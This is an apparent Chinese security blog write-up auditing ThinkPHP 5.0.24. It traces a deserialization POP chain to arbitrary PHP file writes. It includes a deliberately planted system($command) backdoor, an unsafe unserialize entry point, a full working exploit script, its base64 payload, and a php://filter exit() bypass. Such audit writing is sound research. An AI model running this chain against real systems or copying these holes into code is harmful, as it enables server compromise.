ThinkPHP 5.0.X代码审计:

前言:

本次记录主要是对ThinkPHP 框架的 5.0.x版本进行代码审计,主要涉及的软件有:

PHPSTORM

Seay源代码审计系统

Phpstudy_pro

PHP版本使用7.3.4

关于PHPSTORM的Xdebug的搭建,我主要参考了暗月的教程

(说实话phpstudy_pro的配置文件真的太麻烦了)

ThinkPHP 5.0.24 链接

Seay自动审计:

首先还是常规操作,使用Seay源代码审计系统来进行自动审计:

image-20220809164053433

这边出了一堆。不过不是每个都有用的。

主要还是要审计POP链,然后RCE。

目录结构:

首先是对ThinkPHP 5.0目录结构进行查看:

www  WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改)
│ ├─module_name 模块目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ │
│ ├─command.php 命令行工具配置文件
│ ├─common.php 公共函数文件
│ ├─config.php 公共配置文件
│ ├─route.php 路由配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─database.php 数据库配置文件

├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写

├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ ├─phpunit.xml phpunit配置文件
│ └─start.php 框架入口文件

├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件

这部分可以比较明确的看见每个部分代码的作用是什么,方便到时候思考,或者是跟链子。

构建利用点:

关于控制器文件(Controller):

ThinkPHP的控制器是一个类,接收用户的输入并调用模型和视图去完成用户的需求,控制器层由核心控制器和业务控制器组成,核心控制器由系统内部的App类完成,负责应用(包括模块、控制器和操作)的调度控制,包括HTTP请求拦截和转发、加载配置等。业务控制器则由用户定义的控制器类完成。多层业务控制器的实现原理和模型的分层类似,例如业务控制器和事件控制器。

控制器写法:

控制器文件通常放在application/module/controller下面,类名和文件名保持大小写一致,并采用驼峰命名(首字母大写)。

一个典型的控制器类定义如下:

<?php
namespace app\index\controller;

use think\Controller;

class Index extends Controller
{
public function index()
{
return 'index';
}
}

控制器类文件的实际位置是

application\index\controller\Index.php

一个例子:

<?php
namespace app\index\controller;

class Index
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
}
}
public function backdoor($command)
{
system($command);
}
}

想进入后门,需要访问:

http://ip/index.php/Index/backdoor/?command=ls

像上面这样就可以实现命令执行。

这个框架是需要二次开发,并且实现反序列化才能够进行利用,所以需要手写一个利用点。就写在controller里。

<?php
namespace app\index\controller;

class Index
{
public function index()
{
echo "Welcome thinkphp 5.0.24";
unserialize(base64_decode($_GET['a'])); //下面部分是自带的。
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
}
}

利用链分析:

对于PHP反序列化来说,一般来说,比较常见的起点是:

_wakeup() 反序列化后,自动被调用

_destruct() 对象被销毁前,被调用

_toString() 对象被当作字符串输出前,被调用

比较常见的中间跳板是:

__toString 当一个对象被当做字符串使用,自动被调用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

根据以上两个经验,首先在Seay中进行全局查找。

image-20220810164113231

image-20220810164130266

那么可能存在的POP链大概率就在这部分。

尝试审计:

尝试审计第一个__wakeup()

实际上来说__wakeup()因为是在进行了反序列化之后才进行的,所以大部分时候是对反序列化内容的限制,很少作为入口,大部分时候可以直接看__destruct()

但是这里还是看一下

从Seay里可以看见,这部分的反序列化函数在:
image-20220810165159038

首先看一下unserialize()中的值是否可控。

image-20220810171741240

向上看一下$value

image-20220810173114362

这里可以看见value的值被设置为了null。

后面陆续向下看,可以发现的是$value值在这部分被用来存储时间戳image-20220810200145426

然后在接下来的writeTransform()函数部分进行使用者需要的数据类型的更改。

然后在readTransform()部分进行数据类型的变回去(进行了json格式加码,就进行解码,进行了序列化的就反序列化)

因此很容易发现$value的值是我们不能操控的,所以这里无法利用。

POP链:

有了以上的经验,接下来我们对__destruct()函数进行审计。

路径:

thinkphp/library/think/process/pipes/Windows.php

这里首先看一下__destruct()

image-20220810201437296

可以看见这边调用了两个函数,跟进一下。

image-20220810201548871

image-20220810201608641

首先分析一下close()成员方法。

可以看到这里首先是调用了父类中的close()方法,这里跟进一下,可以找到父类Pipes中的close()方法

image-20220810202655543

这里的作用就是将pipes数组中存在的文件一一关闭,最后再将pipes数组清空。

子类中的方法同理,可知close()用于关闭文件,虽然可以控制传参,但是不能进一步利用。

分析removeFiles()成员方法。

可以看见这里有一个敏感函数,file_exists()。当执行该函数的时候,会将参数作为字符串来判断,如果输入的是参数是一个对象,可以触发__toString()魔术方法

看一下$filename能不能控制。

这里看一下$this->files的用法,写入值在__construct(),不影响,因为反序列化不会调用__construct()函数

image-20220810223824350

可以在__construct()看见files数组中,进行定义的过程。

这里使用到了tempnam()函数,可以再指定的目录中创建一个具有唯一文件名的临时文件。成功返回新的文件名,失败返回false。

image-20220811155604058

另一个函数返回当前操作系统的临时文件目录。

这部分可以看见数组$file的定义,发现是可以控制的。

image-20220811203810750

跟进到__toString(),在Seay代码审计系统中进行全局搜索:

image-20220811204906271

这里经过尝试之后,可以直接跟进到Model.php中的__toString()参数。**(注意Model是一个抽象类,要进行了继承了之后才能实例化成对象,所以要找一个子类,这里可以选择Pivot)**

image-20220812142053975

跟进到toJson()方法。

image-20220812142139952

这里使用了json_encode()函数,函数返回一个字符串,包含了value值json格式的表示。编码会受到options参数的印象。

跟进到toArray()方法。(太长了,不放截图)

/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

这里比较长,但是不需要进行特别详细的审计,主要是看看有没有可以利用的危险函数,或者是可以当成跳板的利用点。

简单看了一下,这里没有什么危险函数,所以要考虑找跳板。

这里比较常见的跳板主要是__call()

看看有没有可控的,调用了函数的变量。

image-20220812143808226

image-20220812172140357

image-20220812143843351

可以看到,一共有这三个变量调用了方法,找一下有没有可控的。

利用PHPSTORM的查找写入值,可以比较方便的看见写入和读取的过程。

前提:

首先看$relation

image-20220812145720654

前两个是用getAttr()函数来返回以$key为键名的数组$data的元素值。

后一个是调用了Loader类中的方法,看一下方法:

image-20220812153658721

函数备注了字符串命名风格转换,理论上来说对于输入的字符串$name是不会有什么影响的,如果$name可以进行控制的话,那么就可以控制到$relation

回头查看一下:

image-20220812154015673

通过查看append的调用,可以发现append是可以控制的,那么$name$relation就是可以控制的了。可以通过这里触发__call()魔术方法。

然后是看$modelRelation

image-20220812150206858

这里有一个写入值的地方。

说实话,这部分我没看懂代码

查了一下之后, 对于这部分代码可以理解为:

$modelRelation = $this->$relation(); //relation是一个可以改变的函数名,可以根据$relatioin不同值,来使得$modelRelation等于不同函数的返回值。

同时要进入这部分,需要首先满足method_exists()这个方法。

image-20220812163408257

用于这部分,就是需要满足$relation()所指向的方法,是存在于Model类中的方法。

image-20220812163650728

这里选择的是getError()这个方法,因为返回值是可以控制的。

image-20220812163810108

所以只要通过设置$error为一个对象,同时将$relation设置为getError,就可以实现对$modelRelation的控制,进而触发__call()

最后看一下$value

image-20220812164332703

这里可以看见两个写入值的地方,跟进一下getRelationData($modelRelation)

image-20220813230308173

这里首先判断了一下传入的参数是Relation类的对象(也就是$modelRelation)

可以看见下面有一个$value = $this->parent,而$parent是可控的,这里如果能控制就很方便了。

看看判断条件:

if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent))

分析一下:

这里需要$this->parent存在,$modelRelation中存在isSelfRelation()且返回值为0,$modelRelation中存在getModel()方法。

满足以上条件之后,就可以进入if,然后令$value=$this->partent。所以$value也是可以控制的

触发__call():

接下来就是要考虑怎么调用函数,来触发__call()

if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

1、if (!empty($this->append))

可以直接控制,进入

2、foreach ($this->append as $key => $name)

控制了$append,可以直接进入。

3、if (is_array($name))

令上一步中的$name不是数组,进入。

4、elseif (strpos($name, '.'))

$name不存在.,进入。

5、if (method_exists($this, $relation))

要保证在Model类中,$relation表示的函数存在即可进入。

6、if (method_exists($modelRelation, 'getBindAttr'))

保证在$modelRelation表示的类中存在getBindAttr()方法可以进入。

7、if ($bindAttr)

保证$modelRelation->getBindAttr();存在,可以进入

8、if (isset($this->data[$key])) {

使得$data中以$key为键的元素是空即可绕过。

分析:

对于以上的八个关键点,进行分析:

因为我们可以控制$append,所以我们可以对$key$name的值进行控制(通过第二点的foreach)。

接下来第三点,我们需要保证在$append中元素不为数组,这很好实现,随便写入一个字符串,例如Ho1L0w-By(只是一个例子)即可(但实际上后面的要求不一样,只是就目前情况分析)。

第四点,要求$name,也就是$append中的元素中不能有.,写的字符串已经实现了。

第五点和第六点需要一起看,就像是我们之前分析$relation$modelRelation一样,为了控制第六点中的$modelRelation中存在getBindAttr()方法,我们需要将$relation控制写为getError,这样才能控制$modelRelation的值,使得$modelRelation中存在getBindAttr()

那么总结一下上面的六点:

$append中的$key$name可以控制,且$name的值必须为getError,然后通过设置$error值,来进一步控制$modelRelation
而根据我们之前对于getRelationData()方法中,$value = $this->partent的分析,这里来总结一下对于$modelRelation需要的条件

1、是Relation对象

2、存在isSelfRelation()方法,且返回值存在

3、存在getModel()方法,且返回值与get_class($this->parent)相同。(双等号)

4、存在getBindAttr()

进行用法查找:

image-20220815145619220

可以看见这些里面都存在Relation的类。

而看过Relation类之后可以发现,在所有的Relation的子类中都存在isSelfRelation()getModel()

这里跟进一下getModel()函数:

image-20220815152010343

查找一下用法,可以知道$query是可控的,这里需要知道哪个类的getModel()方法是可控的,来控制返回值。

image-20220815152358075

可以看见是可控的,选择Query.php。

接下来就是在这些子类中找存在getBindAttr()方法的类

image-20220815145954924

在这里可以看见,和上面的重合点有一个,就是OneToOne.php里面。

image-20220815150109645

而这里因为OneToOne这个类是抽象类,所以还需要找到它的子类。

image-20220815150422997

这里可以选择HasOne.php。

这里就已经解决了$modelRelation的需求,可以继续看剩下的7,8点。

第七点需要我们返回的$bindAttr的值存在,看一下OneToOne.php中的getBindAttr()方法,可以看见是可控的,简单绕过。

image-20220815150950059

第八点我们对$key的值溯源一下,

image-20220815153550623

看一下这个三元运算,只要$key是数字,就可以设置$key的值为$attr,可以看见$key$attr都是我们可以进行控制的,因为$bindAttr可以控制。

到这里,已经可以执行我们需要的函数来触发__call()了。

选择__call():

进行全局搜索,找到一个合适的__call()方法

image-20220815155824034

这里根据前人经验,可以选择Output.php(篇幅有限)

这里是路径:

thinkphp/library/think/console/Output.php

image-20220815163806285

在这里主要需要看的是这两个函数:

array_unshift()call_user_func_array()

array_unshift() 函数用于向数组插入新元素。新数组的值将被插入到数组的开头。

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

可以看到第一个没什么用,但是第二个比较有意思,这里可以调用回调函数。

什么是回调函数?

通俗的来说,回调函数是一个我们定义的函数,但是不是我们直接来调用,而是通过另一个函数来调用,这个函数通过接收回调函数的名字和参数来实现对它的调用。

看看手册里的说明。

image-20220815164709740

因为是在

$item[$key] = $value ? $value->getAttr($attr) : null;

对__call()进行的触发,所以此处在__call()中的参数,$methodgetAttr()$args$attr的值。

第一个if中,可以看见styles是可控的。

image-20220815172139229

$styles中的值多添加一个getAttr()即可进入

这里跟进类中的block方法:

image-20220815172258334

跟进writeln(一看就很敏感)

image-20220815172417267

跟进write

image-20220815173426692

查看一下$handle的用法

image-20220815174938200

反序列化是不会调用__construct()的,因此$handle可控

因此可以全局查看一下哪里的write可以利用:

image-20220815175911936

这里可以看见有好几个write函数存在,也有多个可以利用的点。这里主要让我们看一下Memcache.php中的Write函数。

thinkphp/library/think/session/driver/Memcache.php

image-20220815180145913

image-20220815181922079

$handler可控,因此可以随便调用任何文件中的set函数,全局查找set函数:

这里还是使用Seay进行查找。

image-20220820163631897

这里可以看见很多不同的函数使用文件,可以都看一下,这里如果是想要使用写入webshell,主要的利用点在File.php文件中,文件路径:

thinkphp/library/think/cache/driver/File.php

image-20220820164054864

可以看见危险函数file_put_contents($filename,$data),这里可以用来写入webshell。具体内容可以由我们自己决定。

这里一般来说,只要我们使用一个<?php phpinfo(); ?>,然后访问对应文件,出现了详情页面,就可以用来证明漏洞存在了。

这里分析一下如何利用到这个file_put_contents()函数。

第一个if是判断$expire的,对$expire进行了设置。

第二个if用来判断$expire是不是DataTime的子类,设置时间戳。

然后将$filename调用getCacheKey()函数进行了值的设置,因为$filenamefile_put_contents()函数中的一个参数,所以这里我们跟进函数。

protected function getCacheKey($name, $auto = false)
{
$name = md5($name); //$name进行md5加密
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}

可以看见两个if主要是用来更改文件名的,因为$options可以控制,所以可以直接修改之后绕过。

然后到了$filename进行设置的地方了,这里同样因为$options可以进行控制,所以基本是可以确定文件名是可控的,同时文件的后缀也是被写死了是.php。

后面的函数不会影响$filename,因此可以确定$filename可以控制。

继续分析,可以看见$data作为file_put_contents()函数的参数是进行序列化出来的,参数是使用的$value

这里会出现两个问题,因为$value这个值是调用函数时传入的参数,在writeln中一路传过来的时候,已经是被确定了为布尔值的true,因此我们不能对$value达成控制的效果。

而这里,也可以看见$data的值也是被写死了,并且存在一个exit()函数,需要进行死亡绕过。

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; //这里连接了一个$data

如果不能解决这两个问题,这条链子是没法调用的。

这里需要往下看

image-20220822150924816

跟进到setTagItem(),

image-20220822151141432

可以看见这里将$filename作为参数传递进去,同时在下方继续对set()函数进行了调用,将$key和$value作为参数传递了回去。

可以看见,在这里的$value是赋值为了$filename的值,因此,如果是构造了较为合理的$filename,那么就可以进行文件的写入。

写入了文件之后,需要考虑到代码执行的问题,因此需要对exit()函数进行绕过,这里需要用到PHP伪协议的知识,来对exit()函数进行死亡绕过。

死亡绕过参考:https://xz.aliyun.com/t/8163#toc-0

到这里,这条链子算是走通了。

EXP:

按照我们现在进行的一系列分析,可以尝试写出EXP如下:

<?php
namespace think\process\pipes{
abstract class Pipes{

}
}
namespace think\process\pipes{
class Windows extends Pipes
{
private $files = [];
public function __construct($Pivot) //这里传入的需要是Pivot的实例化对象
{
$this->files = [$Pivot];
}
}
}
//Pivot类
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
protected $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("1"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类,也就是HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
//HasOne类
namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
//Query类,用来匹配$parent
namespace think\db {
class Query {
protected $model;

function __construct($model) //传入的需要是Output类的对象
{
$this->model = $model;
}
}
}
//Output类
namespace think\console{
class Output{
protected $styles = ["getAttr"];
private $handle;
public function __construct($handle)
{
$this->handle = $handle; //是Memcached类的对象,需要调用这个里面的write
}
}
}
//Memcached类
namespace think\session\driver {
class Memcached{
protected $handler;
public function __construct($handler)
{
$this->handler = $handler; //是File类的对象,需要使用其中的set方法
}
}
}
//File类
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
public function __construct()
{
$this->options=[
'expire' => 0,
'cache_subdir' => '0', //绕过getCacheKey中的第一个if
'prefix' => '0', //绕过getCacheKey中的第二个if
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php', //有php+12个0+exit,共21个字符,为了凑到4的整数倍,需要加上三个字符
'data_compress' => false,
];
$this->tag = '1'; //用于后续控制文件名,需要使用
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne));
echo base64_encode(serialize($window));
}

运行后生成:

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aToxO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO3M6MToiMCI7czo2OiJwcmVmaXgiO3M6MToiMCI7czo0OiJwYXRoIjtzOjEwNjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPXh4eFBEOXdhSEFnY0dod2FXNW1ieWdwT3o4Ky8uLi9hLnBocCI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czoxOiIxIjt9fX19fXM6OToiACoAcGFyZW50IjtyOjExO319fQ

传入:

image-20220824173035726

image-20220824173115023

效果图:

image-20220824173147241

这里分析一下文件名是怎么生成的

第一次进入set函数的时候:

首先将$name进行md5加密,然后连接到$this->options[‘path’]后面,再加上.php

可以得到$filename如下:

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php8db7a8c80e67e908f96fbf22dde11df3.php

然后进行file_put_contents(),可以得到第一个文件,同时第一个$data值是将恒为true的$value反序列化,得到b:1;

image-20220824183337048

第二次进入set函数的时候:

会经过setTagtem()函数,进行重新赋值,进入到has方法,跟进到get方法,然后重新调用到File类的getCacheKey方法,此时的$name是tag_md5(“1”),也就是tag_c4ca4238a0b923820dcc509a6f75849b

然后上面的再次md5,得到3b58a9545013e88c7186db11bb158c44,按照之前的方法,连接到后面,就会出现新的$filename

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php3b58a9545013e88c7186db11bb158c44.php

因为这个文件不存在,会返回false所以会跳过if($this->has($key)),直接令$value等于输入的$name,也就是tag_md5(“1”),也就是tag_c4ca4238a0b923820dcc509a6f75849b

然后再次进入set()函数,这一次会进入getCacheKey()函数,然后再次md5加密,得到md5(tag_md5(“1”)),也就是$filename

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php3b58a9545013e88c7186db11bb158c44.php

然后因为第一次进入setTagItem()函数的时候,会将tag设置为null,所以不会再进入,写入成功。

因此最后我们需要的文件名应该是这个格式:

<?php
$name = "a.php".md5(tag_md5("1")).".php"

两次md5都是getCacheKey中的函数。

参考:

https://xz.aliyun.com/t/7457#toc-3

https://www.moonsec.com/4586.html

https://www.anquanke.com/post/id/196364#h2-5

https://www.anquanke.com/post/id/265088#h2-4

https://xz.aliyun.com/t/7457#toc-5

https://blog.csdn.net/Zero_Adam/article/details/116170568?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-116170568-blog-119196766.pc_relevant_aa_2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-116170568-blog-119196766.pc_relevant_aa_2&utm_relevant_index=2